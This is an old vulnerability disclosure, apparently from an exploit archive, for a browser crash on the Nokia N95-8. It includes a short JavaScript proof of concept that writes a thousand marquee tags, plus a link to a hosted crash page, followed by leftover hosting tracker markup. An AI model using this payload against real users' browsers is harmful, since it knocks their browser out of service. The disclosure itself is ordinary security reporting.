nokian95-dos.txt
Posted on 05 February 2009
Application: Nokia N95-8 OS: Symbian ------------------------------------------------------ 1 - Description 2 - Vulnerability 3 - POC/EXPLOIT ------------------------------------------------------ Description The nokia n95 is a smartphone, this phone have more tools, for example: gps,mp3,camera,wireless. :) ------------------------------------------------------ Vulnerability The code of this bug was found long ago, was for firefox 1.0 and caused denial of service. The problem was that when you insert many html tags (<marquee>) the program crash. I 'm testing this code in the browser of nokia n95 and this crash, only the browser.., the bug is very inofensive but is curious ------------------------------------------------------ POC/EXPLOIT Enter in this url http://es.geocities.com/jplopezy/nokiacrash.html or make html file and insert many tags <marquee> POC CODE HERE: <h1> Nokia N95 - 8gb browser crash </h1> <html> <script> var data = "<marquee>"; for(x=1;x<=1000;x++){ document.write(data); } </script> </html> Juan Pablo Lopez Yacubian <!-- following code added by server. PLEASE REMOVE --> <!-- preceding code added by server. PLEASE REMOVE --><!-- text below generated by server. PLEASE REMOVE --></object></layer></div></span></style></noscript></table></script></applet><script language="JavaScript" src="http://us.i1.yimg.com/us.yimg.com/i/mc/mc.js"></script><script language="JavaScript" src="http://us.js2.yimg.com/us.js.yimg.com/lib/smb/js/hosting/cp/js_source/geov2_001.js"></script><script language="javascript">geovisit();</script><noscript><img src="http://visit.geocities.yahoo.com/visit.gif?es1233862552" alt="setstats" border="0" width="1" height="1"></noscript> <IMG SRC="http://geo.yahoo.com/serv?s=382026089&t=1233862552&f=es-w88" ALT=1 WIDTH=1 HEIGHT=1> ------------------------------------------------------ Juan Pablo Lopez Yacubian
